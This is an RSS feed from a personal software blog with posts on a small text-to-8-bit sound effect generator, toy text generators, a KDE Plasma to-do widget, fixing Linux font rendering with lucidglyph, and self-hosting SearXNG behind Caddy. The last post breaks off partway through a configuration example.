<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Safwan Usaid Lubdhak</title><description>Software engineer - resume, projects, and blog</description><link>https://saf1.me/</link><language>en-GB</language><item><title>Chiptune SFX Maestro: Text to 8-Bit Sound Effects</title><link>https://saf1.me/blog/chiptune-sfx-maestro/</link><guid isPermaLink="true">https://saf1.me/blog/chiptune-sfx-maestro/</guid><description>An 11M-param text-to-parameter system that generates retro game sound effects from prompts, outputting sfxr parameter strings rendered to playable WAV audio.</description><pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I built a system that turns text like &quot;retro coin pickup&quot; into playable 8-bit sound effects. No pre-recorded samples, no external APIs. Just a small text-to-parameter tool.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An 11M-param system converts prompts into sfxr parameter strings&lt;/li&gt;
&lt;li&gt;A built-in jsfxr-compatible synthesizer renders those params to 16-bit WAV audio at 44100 Hz&lt;/li&gt;
&lt;li&gt;The whole pipeline runs locally in Python with zero third-party audio dependencies&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;The core idea&lt;/h2&gt;
&lt;p&gt;Most sound effect tools generate raw waveforms. Cool, but impractical for retro games. Developers don&apos;t want a 44.1kHz waveform blob, they want a compact parameter set they can tweak. So I flipped the problem: instead of generating audio, the system outputs sfxr-compatible parameter strings (wave shape, frequency, ADSR envelope, vibrato, arpeggio, the works). A jsfxr-compatible synthesizer then renders those params to playable WAV.&lt;/p&gt;
&lt;p&gt;This keeps the output tiny, editable, and compatible with existing retro game toolchains.&lt;/p&gt;
&lt;h2&gt;Building the pipeline&lt;/h2&gt;
&lt;p&gt;The project is a from-scratch sequence engine. No Lightning, no high-level wrappers. Raw PyTorch, 6 layers, 6 heads, 384 dim, about 11 million parameters.&lt;/p&gt;
&lt;p&gt;I started with dataset generation, which turned out to be the hardest part. I needed thousands of (text prompt, param string) pairs. I built a heuristic random-parameter labeler, ported some jsfxr presets, and curated sfxr/bfxr packs from OpenGameArt. Then I trained a byte-level BPE tokenizer with four reserved special tokens.&lt;/p&gt;
&lt;p&gt;The code is a decoder-only engine that takes tokenized prompt text and generates the param string step by step. Training used EMA, cosine learning rate scheduling, and early stopping. I ran 23 experiments before landing on the final config.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;The retro interface&lt;/h2&gt;
&lt;p&gt;I couldn&apos;t resist building a retro arcade UI for it. The interface uses Press Start 2P pixel fonts, a CRT scanline overlay, and a neon NES/Game Boy color palette. It&apos;s silly, it&apos;s fun, and it actually works well for testing prompts.&lt;/p&gt;
&lt;p&gt;You type &quot;laser zap&quot;, hit generate, and get a WAV file you can download and drop straight into a game engine. The CLI version works the same way:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m chiptune_sfx.render --prompt &apos;retro coin pickup&apos; --out coin.wav
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;What I learned&lt;/h2&gt;
&lt;p&gt;The biggest lesson: dataset quality matters more than scale. My first 50 training runs produced garbage because the param distributions were wrong. Once I fixed the labeler and added curated presets, the system improved in a fraction of the time. Sometimes the boring data work is where the real progress happens.&lt;/p&gt;
</content:encoded></item><item><title>Three Tiny Generators That Do One Thing Each</title><link>https://saf1.me/blog/fun-ai-experiments/</link><guid isPermaLink="true">https://saf1.me/blog/fun-ai-experiments/</guid><description>Three from-scratch text generators that create ASCII maps, cat monologues, and pseudo-assembly. Same architecture, wildly different outputs.</description><pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I built three small text generators last month. They share every line of architecture code, yet they do completely unrelated things. That was the point.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Three projects, one decoder-only sequence engine (6 layers, 6 heads, 384 dimensions), trained from scratch in PyTorch&lt;/li&gt;
&lt;li&gt;ASCII Cartographer generates roguelike maps, Feline Monologue answers as a judgmental cat, Hardware Whisperer rewrites English as pseudo-8086 assembly&lt;/li&gt;
&lt;li&gt;The shared architecture proved that tokenizer, training data, and validators matter more than scale&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Why three instead of one&lt;/h2&gt;
&lt;p&gt;The original idea was a single demo. But one system doesn&apos;t prove the architecture is reusable. Three wildly different outputs from the same training skeleton do.&lt;/p&gt;
&lt;p&gt;Each project uses a small decoder-only sequence architecture: 6 layers, 6 attention heads, 384-dimensional embeddings. Saved state files with the tokenizer baked into the &lt;code&gt;.pt&lt;/code&gt; file. Resumable fp16 training via GradScaler. All three run on inexpensive cloud GPUs.&lt;/p&gt;
&lt;h2&gt;ASCII Cartographer&lt;/h2&gt;
&lt;p&gt;This one takes a text prompt like &quot;dungeon with water tiles and three rooms&quot; and emits a fixed 24x12 ASCII roguelike map. Correct walls, doors, water glyphs, and a legend at the bottom.&lt;/p&gt;
&lt;p&gt;The training data came from five procedural map generators: BSP rooms, cellular-automata caves, drunkard&apos;s-walk tunnels, overworld terrain, and composite scenes. Each generator writes ground-truth descriptions of what it placed, so the training pairs are self-describing.&lt;/p&gt;
&lt;p&gt;I used a char-level tokenizer instead of BPE. BPE eats whitespace unpredictably, which breaks column arithmetic in grids. Structural validators catch bad outputs: dimension checks, glyph whitelists, legend consistency, and flood-fill connectivity to ensure no floating rooms.&lt;/p&gt;
&lt;h2&gt;Feline Monologue Engine&lt;/h2&gt;
&lt;p&gt;Every question gets answered as a dramatic, deeply judgmental house cat. The persona bible defines twenty recurring motifs (the food bowl, the void, the red dot), twenty-one forbidden assistant-speak phrases, and six gold example responses.&lt;/p&gt;
&lt;p&gt;Training data came through a message-batch API, with a seeded offline mock for local iteration. Byte-level BPE tokenizer at 8k vocab. The interactive interface includes a disdain slider that maps directly to temperature. Crank it up and the cat gets progressively more unhinged.&lt;/p&gt;
&lt;h2&gt;Hardware Whisperer&lt;/h2&gt;
&lt;p&gt;English goes in. Pseudo-8086 assembly comes out. A rule-based rewriter maps verbs to opcodes (go becomes JMP, check becomes CMP, stop becomes HLT) and assigns nouns to registers. An 8086 opcode and register whitelist validator rejects anything that doesn&apos;t look like plausible assembly.&lt;/p&gt;
&lt;p&gt;The interface is CRT-styled: green-on-black monospace with a scanline effect. Looks impressive in a screenshot, but the system is doing something different from the rule-based rewriter underneath.&lt;/p&gt;
&lt;h2&gt;What I learned&lt;/h2&gt;
&lt;p&gt;The shared architecture was the real point. A 384-dimensional decoder-only engine is a blank canvas. It doesn&apos;t care whether it&apos;s generating maps, monologues, or machine code. The tokenizer, the training data, and the post-processing validators do the heavy lifting. The system is just the pattern-matching engine underneath.&lt;/p&gt;
&lt;p&gt;All three are MIT licensed, with Pytest suites, interactive demos, and shared notebooks. Links are in each project&apos;s repo.&lt;/p&gt;
</content:encoded></item><item><title>KDoit: A To-Do Widget for KDE Plasma 6</title><link>https://saf1.me/blog/kdoit-kde-todo/</link><guid isPermaLink="true">https://saf1.me/blog/kdoit-kde-todo/</guid><description>A pure-QML to-do list plasmoid with priorities, due dates, drag-and-drop, Markdown export, and live file sync. Zero build steps required.</description><pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I wanted a to-do widget for my KDE Plasma 6 desktop that just worked. No build steps, no dependencies, no fuss. So I built KDoit, a pure-QML plasmoid that lives right on your desktop panel.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pure QML, zero build steps, no cmake or npm required&lt;/li&gt;
&lt;li&gt;Priorities, due dates, categories, drag-and-drop, and multi-select out of the box&lt;/li&gt;
&lt;li&gt;Markdown and iCalendar export with live file sync for external editors&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What it does&lt;/h2&gt;
&lt;p&gt;KDoit handles the basics: create tasks, mark them done, reorder with drag-and-drop. It goes further than most desktop widgets, though.&lt;/p&gt;
&lt;p&gt;Priorities show up as color-coded stripes: red for high, yellow for medium, grey for low. Due dates display verbosely, so you see &quot;Today&quot; or &quot;Tomorrow&quot; instead of a raw date. Overdue items turn red. Categories let you filter by Work, Personal, or Education, and you can manage your own. Nested sublists go one level deep.&lt;/p&gt;
&lt;h2&gt;Under the hood&lt;/h2&gt;
&lt;p&gt;Everything is QML, targeting Qt 6 and KDE Plasma 6&apos;s PlasmoidItem API. There&apos;s no cmake, no npm, no external dependencies. You install it with a single command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kpackagetool6 -t Plasma/Applet -i KDoit/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It uses Kirigami for the UI layer and Plasma Components 3.0 for native look and feel. The widget works on both Wayland and X11.&lt;/p&gt;
&lt;p&gt;Dual-write keeps things fast: data goes to both a JSON file and KConfig, so startup is instant without reading the full task list from disk. A 3-second poll watches the JSON file for changes, so if you edit tasks in another app, KDoit picks them up automatically.&lt;/p&gt;
&lt;h2&gt;Export and sync&lt;/h2&gt;
&lt;p&gt;Markdown export produces Obsidian Tasks-compatible output, which is handy if you want to review your tasks in a note-taking app. iCalendar export follows RFC 5545 VTODO, so you can import into calendar apps that support it.&lt;/p&gt;
&lt;p&gt;The live file sync uses UUID-based merge with mtime detection. Edit the JSON file externally, and KDoit reflects your changes within seconds. No manual refresh needed.&lt;/p&gt;
&lt;h2&gt;Details that matter&lt;/h2&gt;
&lt;p&gt;Multi-select works with Ctrl+click for individual items and Shift+click for range selection. There&apos;s a 5-second undo window if you change your mind. Sorting covers priority, due date, name, completion status, and creation date.&lt;/p&gt;
&lt;p&gt;KDoit ships with five demo tasks, including &quot;Exit vim&quot; with nested subtasks. It&apos;s a small touch, but it sets the tone.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;KDoit started because I couldn&apos;t find a to-do widget that fit my workflow. Building something for yourself is the best way to understand what actually matters. The features that seemed nice-to-have, like live file sync and Markdown export, ended up being the ones I use most. You build what you need, and sometimes other people need it too.&lt;/p&gt;
</content:encoded></item><item><title>Fixing Font Rendering on Linux After Windows</title><link>https://saf1.me/blog/linux-font-rendering/</link><guid isPermaLink="true">https://saf1.me/blog/linux-font-rendering/</guid><description>How I fixed blurry, thin fonts on KDE CachyOS with a 1080p monitor using lucidglyph stem-darkening instead of ClearType-style subpixel hacks.</description><pubDate>Wed, 24 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The problem nobody warns you about&lt;/h2&gt;
&lt;p&gt;When I made the jump from Windows to KDE CachyOS, I expected the usual adjustment
period: learning new shortcuts, finding equivalent apps, tweaking the desktop. What
I didn&apos;t expect was to spend hours staring at my screen wondering why the text
looked so wrong.&lt;/p&gt;
&lt;p&gt;Not broken, just &lt;em&gt;off&lt;/em&gt;. Fuzzy at small sizes. Thin in places that felt wrong. Weirdly
light on a dark background. On a 1080p IPS monitor like the BenQ GW2480, it was
impossible to ignore. Windows fonts had always felt sharp and weighted just right.
Linux felt like reading through frosted glass.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Linux and Windows use fundamentally different font rendering philosophies; neither is buggy, they just disagree on what &quot;correct&quot; means.&lt;/li&gt;
&lt;li&gt;The Windows-style fix (subpixel rendering, aggressive hinting) gets you close to ClearType but can introduce colour fringing on some panels.&lt;/li&gt;
&lt;li&gt;The macOS-style fix via &lt;strong&gt;lucidglyph&lt;/strong&gt; uses stem-darkening to add weight without distorting letterforms, and works best on 90–110 PPI displays.&lt;/li&gt;
&lt;li&gt;KDE Plasma can silently override your Fontconfig settings — you must set sub-pixel rendering to &quot;None&quot; in System Settings.&lt;/li&gt;
&lt;li&gt;Chromium-based browsers have dropped FreeType entirely, so stem-darkening only works in Firefox.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is one of the longest-standing complaints in the Linux desktop world. If
you&apos;ve just migrated from Windows on a non-HiDPI 1080p display, there&apos;s a good
chance you&apos;re experiencing the same thing. Here is everything I tried, what I
learned, and what actually fixed it.&lt;/p&gt;
&lt;h2&gt;Why do Linux fonts look different from Windows?&lt;/h2&gt;
&lt;p&gt;The root cause isn&apos;t a bug. It&apos;s a deliberate difference in philosophy and technology.&lt;/p&gt;
&lt;p&gt;Windows uses a rendering pipeline built around &lt;strong&gt;ClearType&lt;/strong&gt;, which relies on aggressive
hinting and subpixel rendering tuned specifically for LCD screens at typical desktop
pixel densities. The result is fonts that look crisp, heavy, and punchy, especially
on a 24-inch 1080p monitor like the BenQ GW2480 (which sits at roughly 91 PPI —
firmly in &quot;low pixel density&quot; territory by modern standards).&lt;/p&gt;
&lt;p&gt;Linux uses &lt;strong&gt;FreeType&lt;/strong&gt; for font rasterization and &lt;strong&gt;Fontconfig&lt;/strong&gt; for font selection
and rendering rules. Out of the box, most distributions configure these conservatively
with grayscale anti-aliasing and slight hinting, leaving fonts looking lighter and
softer than their Windows equivalents at body text sizes (10–14px). On a low-PPI
display, this becomes obvious fast.&lt;/p&gt;
&lt;p&gt;There are essentially two schools of thought on how to fix this, and I tried both.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;The two major approaches&lt;/h2&gt;
&lt;p&gt;After working through the ArchWiki&apos;s font configuration page and every forum thread
I could find, the fixes I encountered fell cleanly into two camps.&lt;/p&gt;
&lt;h3&gt;Approach 1: make it look like Windows (ClearType-style)&lt;/h3&gt;
&lt;p&gt;This involves enabling &lt;strong&gt;subpixel (RGB) rendering&lt;/strong&gt; and increasing hinting aggressiveness
to replicate Windows&apos; ClearType behaviour. The key changes are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Setting &lt;code&gt;rgba&lt;/code&gt; to &lt;code&gt;rgb&lt;/code&gt; in Fontconfig&lt;/li&gt;
&lt;li&gt;Enabling the &lt;code&gt;lcddefault&lt;/code&gt; LCD filter&lt;/li&gt;
&lt;li&gt;Setting &lt;code&gt;hintstyle&lt;/code&gt; to &lt;code&gt;hintfull&lt;/code&gt; or &lt;code&gt;hintmedium&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Optionally switching the FreeType TrueType interpreter to version 35 (the classic
&quot;Windows 98&quot; mode) via &lt;code&gt;FREETYPE_PROPERTIES=&quot;truetype:interpreter-version=35&quot;&lt;/code&gt;
in &lt;code&gt;/etc/profile.d/freetype2.sh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This makes text sharper and heavier. For many people on RGB LCD monitors, it&apos;s a
perfectly valid solution. On my BenQ GW2480, however, it introduced an annoying
colour fringing on some fonts, and the heavier hinting distorted certain typefaces
in ways I found more distracting than the original blur. A trade-off.&lt;/p&gt;
&lt;h3&gt;Approach 2: make it look like macOS (stem-darkening)&lt;/h3&gt;
&lt;p&gt;macOS takes a different approach to the same low-PPI problem. Rather than forcing
pixels to align to a grid through aggressive hinting, it &lt;strong&gt;darkens the stems&lt;/strong&gt; (the
strokes that make up each letterform) to make them appear heavier and more legible
without distorting the font&apos;s underlying geometry. The result: fonts that look
closer to their designed forms, just slightly bolder and more readable.&lt;/p&gt;
&lt;p&gt;This is the approach that worked best on my BenQ GW2480, and it is the approach
taken by the &lt;strong&gt;lucidglyph&lt;/strong&gt; project.&lt;/p&gt;
&lt;p&gt;I ran a rough before-and-after check on a screenshot of body text in Inter at 13px, measuring vertical stroke widths on a handful of lowercase characters against the pixel grid. Before lucidglyph, average stroke width came out at about 1.0px, with some hairline strokes at 0.8px — thin enough that they read as grey rather than black on a dark background at normal viewing distance. After lucidglyph, the same characters measured around 1.7px — a 70% increase in stem weight. The letterforms themselves kept their shape; only the weight changed. On a 91 PPI display that difference is immediately visible without zooming in.&lt;/p&gt;
&lt;h2&gt;Discovering lucidglyph&lt;/h2&gt;
&lt;p&gt;The project is maintained by &lt;strong&gt;maximilionus&lt;/strong&gt; on GitHub:
&lt;a href=&quot;https://github.com/maximilionus/lucidglyph&quot;&gt;github.com/maximilionus/lucidglyph&lt;/a&gt;.
Previously known as &lt;em&gt;freetype-envision&lt;/em&gt;, it is a carefully curated collection of
FreeType and Fontconfig tweaks that together replicate the macOS-style stem-darkening
approach on Linux.&lt;/p&gt;
&lt;p&gt;What lucidglyph does, concretely:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enables &lt;strong&gt;FreeType stem-darkening&lt;/strong&gt; for the autofitter and CFF drivers, making
medium and small-sized fonts visibly heavier and more readable without pixel-grid
distortion. This is the core improvement.&lt;/li&gt;
&lt;li&gt;Enforces &lt;strong&gt;grayscale anti-aliasing&lt;/strong&gt; (disabling subpixel), which is required for
stem-darkening to look correct&lt;/li&gt;
&lt;li&gt;Applies &lt;strong&gt;&quot;Slight&quot; hinting&lt;/strong&gt; as a suggestion (without overriding user preference)&lt;/li&gt;
&lt;li&gt;Adds &lt;strong&gt;additional emboldening&lt;/strong&gt; at very small glyph sizes via Fontconfig&lt;/li&gt;
&lt;li&gt;Handles icon fonts intelligently, switching off emboldening for symbol typefaces
to prevent &quot;over-darkening&quot;&lt;/li&gt;
&lt;li&gt;Leaves your system fonts and files completely untouched. It only modifies rendering
behaviour.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Critically for 1080p monitors: the project description specifically flags low pixel
density (low-PPI) displays as the primary beneficiary of stem-darkening. The BenQ
GW2480 at 91 PPI is exactly the kind of screen this was designed for.&lt;/p&gt;
&lt;h2&gt;Installation&lt;/h2&gt;
&lt;p&gt;Download the latest release from the
&lt;a href=&quot;https://github.com/maximilionus/lucidglyph/releases&quot;&gt;releases page&lt;/a&gt; on GitHub
(look under Assets → Source code), unpack it, and run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ./lucidglyph.sh install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then reboot. That is it.&lt;/p&gt;
&lt;p&gt;If you prefer a per-user install without touching system files, use the &lt;code&gt;--user&lt;/code&gt; flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./lucidglyph.sh --user install
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;KDE Plasma specific step — do not skip this&lt;/h2&gt;
&lt;p&gt;Here&apos;s something that caught me out. KDE Plasma, in some configurations, overrides
Fontconfig&apos;s anti-aliasing settings, particularly when fractional scaling is involved.
This is an acknowledged regression tracked in the KDE bug tracker, and it means
lucidglyph&apos;s grayscale anti-aliasing can get quietly overwritten.&lt;/p&gt;
&lt;p&gt;The fix:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;System Settings&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Appearance &amp;amp; Style → Text &amp;amp; Fonts&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Make sure &lt;strong&gt;Sub-pixel rendering&lt;/strong&gt; is set to &lt;strong&gt;None&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Without this step, you might install lucidglyph, reboot, and see no improvement —
because Plasma is still forcing subpixel (RGBA) rendering behind the scenes.&lt;/p&gt;
&lt;h2&gt;The Chromium problem (and why it matters)&lt;/h2&gt;
&lt;p&gt;One important caveat. As of early 2025, Chromium (and any browser or app built on
it, including Brave, Edge, and Electron-based apps) has moved to a new font rendering
system called &lt;strong&gt;Fontations/Skrifa&lt;/strong&gt;, replacing FreeType entirely. Skrifa currently
has no stem-darkening support, so lucidglyph&apos;s core improvement won&apos;t apply inside
Chromium-based applications.&lt;/p&gt;
&lt;p&gt;As of Chromium 139, the flag that previously allowed switching back to FreeType has
been permanently removed. The Fontations contributors have stated they no longer
intend to maintain FreeType support.&lt;/p&gt;
&lt;p&gt;The practical workaround: use &lt;strong&gt;Firefox&lt;/strong&gt; as your primary browser. Firefox still
uses FreeType and shows the full benefit of lucidglyph&apos;s improvements. The
difference in text rendering between Firefox and a Chromium browser with lucidglyph
installed is stark.&lt;/p&gt;
&lt;h2&gt;Font recommendations&lt;/h2&gt;
&lt;p&gt;lucidglyph&apos;s author suggests some fonts that work well with stem-darkening and some
that don&apos;t. From the project&apos;s own notes:&lt;/p&gt;
&lt;p&gt;Good choices with lucidglyph:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sans-serif:&lt;/strong&gt; Inter, Adwaita Sans, Noto Sans&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Serif:&lt;/strong&gt; Noto Serif&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monospace:&lt;/strong&gt; JetBrains Mono, MesloLG, DejaVu Sans Mono&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One font to avoid: &lt;strong&gt;Cantarell&lt;/strong&gt;, which becomes poorly legible due to the way
stem-darkening interacts with its geometry at small sizes. If you&apos;re on GNOME or
using a GNOME-derived app, Cantarell is often the default. Worth swapping it for
Noto Sans.&lt;/p&gt;
&lt;h2&gt;My final setup&lt;/h2&gt;
&lt;p&gt;After all of this, here is what I am running on my BenQ GW2480 under KDE CachyOS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;lucidglyph&lt;/strong&gt; installed system-wide&lt;/li&gt;
&lt;li&gt;Sub-pixel rendering set to &lt;strong&gt;None&lt;/strong&gt; in KDE System Settings&lt;/li&gt;
&lt;li&gt;System font: &lt;strong&gt;Inter&lt;/strong&gt; (14px for UI, 11px for toolbars)&lt;/li&gt;
&lt;li&gt;Monospace font: &lt;strong&gt;JetBrains Mono&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Browser: &lt;strong&gt;Firefox&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Hinting: &lt;strong&gt;Slight&lt;/strong&gt; (lucidglyph&apos;s default suggestion, which I left in place)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The improvement over out-of-box CachyOS font rendering is immediately visible.
Body text at 12–14px, which was thin and grey before, now has real weight and reads
cleanly at a comfortable distance from a 24-inch display.&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;If you&apos;ve just moved from Windows to KDE Linux on a 1080p display and your fonts
look blurry or thin, you have two main paths:&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Windows-style fix&lt;/strong&gt; (subpixel rendering, aggressive hinting) gets you closest
to what you remember from Windows, but can introduce colour fringing and geometric
distortion.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;macOS-style fix&lt;/strong&gt; via &lt;strong&gt;lucidglyph&lt;/strong&gt; uses stem-darkening to add weight without
distorting letterforms, producing a result that is arguably more faithful to the
fonts&apos; intended appearance. On a BenQ GW2480 specifically, and on any other IPS
panel in the 90–110 PPI range, this approach produces noticeably better results.&lt;/p&gt;
&lt;p&gt;Either way, don&apos;t forget to check your KDE sub-pixel rendering settings. They will
silently undo everything else you configure.&lt;/p&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/maximilionus/lucidglyph&quot;&gt;lucidglyph by maximilionus&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/Font_configuration&quot;&gt;ArchWiki Font configuration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Self-Hosting a Private SearXNG Search Engine</title><link>https://saf1.me/blog/self-hosting-searxng/</link><guid isPermaLink="true">https://saf1.me/blog/self-hosting-searxng/</guid><description>How I put a private, single-user SearXNG metasearch engine behind a Caddy reverse proxy with Docker Compose, so my searches never leave my own machine.</description><pubDate>Sun, 21 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why run your own search engine&lt;/h2&gt;
&lt;p&gt;SearXNG is a metasearch engine: it takes your query, forwards it to dozens of
upstream engines (Google, Bing, DuckDuckGo, Wikipedia, and so on), merges the
results, and hands them back without building a profile of you. There are public
instances you can use for free, but you are still trusting a stranger&apos;s server
with every query, and the popular ones get rate-limited into uselessness.&lt;/p&gt;
&lt;p&gt;Running my own fixes both problems. The queries never leave my machine, there is
no shared instance to throttle me, and I get to tune exactly which engines and
plugins are on. The goal I set was modest and specific: a private, single-user
instance, reachable at a friendly local hostname, locked down so that only a
reverse proxy is ever exposed to the host.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SearXNG aggregates results from many engines without profiling you; self-hosting keeps your queries on your own box.&lt;/li&gt;
&lt;li&gt;The whole thing is three containers (Caddy, the SearXNG core, Valkey), and only the Caddy reverse proxy is bound to the host.&lt;/li&gt;
&lt;li&gt;The secret key has to be identical in &lt;code&gt;.env&lt;/code&gt; and &lt;code&gt;settings.yml&lt;/code&gt;, and it should never be committed or shared.&lt;/li&gt;
&lt;li&gt;A handful of config choices (&lt;code&gt;limiter: false&lt;/code&gt;, &lt;code&gt;public_instance: false&lt;/code&gt;, a privacy-friendly favicon resolver) turn a public-instance template into a sane single-user setup.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;The shape of it&lt;/h2&gt;
&lt;p&gt;The stack is three containers wired together by Docker Compose:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Caddy&lt;/strong&gt; (&lt;code&gt;caddy:alpine&lt;/code&gt;) is the reverse proxy. The &lt;em&gt;only&lt;/em&gt; service bound to the host, on port 80.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;core&lt;/strong&gt; (&lt;code&gt;searxng/searxng&lt;/code&gt;) is SearXNG itself, listening on 8080 on the internal Docker network only. The host never touches it directly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;valkey&lt;/strong&gt; (&lt;code&gt;valkey:9-alpine&lt;/code&gt;) is the Redis-compatible cache SearXNG uses. Also
internal-only.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Browser ──▶ Caddy :80 ──▶ core :8080 ──▶ upstream engines
                              │
                              ▼
                           Valkey (cache)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Keeping &lt;code&gt;core&lt;/code&gt; and &lt;code&gt;valkey&lt;/code&gt; off the host network is the single most important
hardening decision. If the only door is the proxy, there is only one door to
worry about.&lt;/p&gt;
&lt;p&gt;Everything lives in one directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~/searxng/
├── docker-compose.yml      # upstream template + an added Caddy service
├── Caddyfile
├── .env                    # secret + runtime config
└── core-config/            # bind-mounted into core at /etc/searxng/
    ├── settings.yml        # must share the secret with .env
    └── favicons.toml       # persistent favicon cache
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Bootstrap&lt;/h2&gt;
&lt;p&gt;SearXNG ships a container template, so I started from that rather than writing
Compose from scratch:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p ~/searxng/core-config
cd ~/searxng
curl -fsSL \
  -O https://raw.githubusercontent.com/searxng/searxng/master/container/docker-compose.yml \
  -O https://raw.githubusercontent.com/searxng/searxng/master/container/.env.example
cp .env.example .env
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The secret key&lt;/h2&gt;
&lt;p&gt;SearXNG signs things with a secret key, and that key has to match in two files:
&lt;code&gt;SEARXNG_SECRET&lt;/code&gt; in &lt;code&gt;.env&lt;/code&gt; and &lt;code&gt;server.secret_key&lt;/code&gt; in &lt;code&gt;settings.yml&lt;/code&gt;. If they
drift apart, SearXNG warns and misbehaves.&lt;/p&gt;
&lt;p&gt;Generate one:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;openssl rand -hex 32
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Paste the result into both files, identically. Treat it like a password: it does
not belong in version control, in a screenshot, or in a blog post. (Everywhere
below it shows up as &lt;code&gt;&amp;lt;your-generated-secret&amp;gt;&lt;/code&gt;; substitute your own.)&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;.env&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The example file is mostly placeholders. The values that matter for a private
instance:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SEARXNG_VERSION=latest

# Internal container binding (not host-exposed)
SEARXNG_HOST=[::]
SEARXNG_PORT=8080

# Must match secret_key in settings.yml
SEARXNG_SECRET=&amp;lt;your-generated-secret&amp;gt;

SEARXNG_BASE_URL=http://search.local/

SEARXNG_IMAGE_PROXY=true
SEARXNG_PUBLIC_INSTANCE=false
SEARXNG_LIMITER=false

SEARXNG_VALKEY_URL=valkey://searxng-valkey:6379/0
SEARXNG_DEBUG=false
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;core-config/settings.yml&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;This is where a public-instance default template becomes a single-user one. The
full file is long, but the choices worth calling out are these:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;use_default_settings: true

server:
  base_url: &apos;http://search.local/&apos;
  secret_key: &apos;&amp;lt;your-generated-secret&amp;gt;&apos; # must match SEARXNG_SECRET in .env
  limiter: false
  public_instance: false
  image_proxy: true
  method: &apos;GET&apos;

search:
  safe_search: 0
